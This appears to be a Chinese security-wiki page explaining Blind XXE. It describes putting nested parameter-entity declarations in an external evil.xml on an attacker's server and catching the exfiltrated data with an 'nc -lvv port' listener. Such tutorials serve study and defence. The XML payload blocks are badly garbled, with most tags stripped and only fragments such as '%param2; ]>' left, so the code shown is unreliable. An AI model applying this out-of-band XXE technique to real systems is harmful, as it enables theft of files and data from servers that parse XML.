002-Blind XXE 原理

### Blind XXE 原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。

“`xml



%param2;
]>

“`

于是考虑内部实体嵌套的形式:

“`xml


“>
%param2;
]>

“`

但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

![](/static/lingzu/images/security_wiki/15906401372631.png)

##### 解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

如下:

payload

“`xml



%remote;
%all;
]>

“`

【evil.xml】

“`xml
“>

“`

nc -lvv port 监听即可获得请求回显内容

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容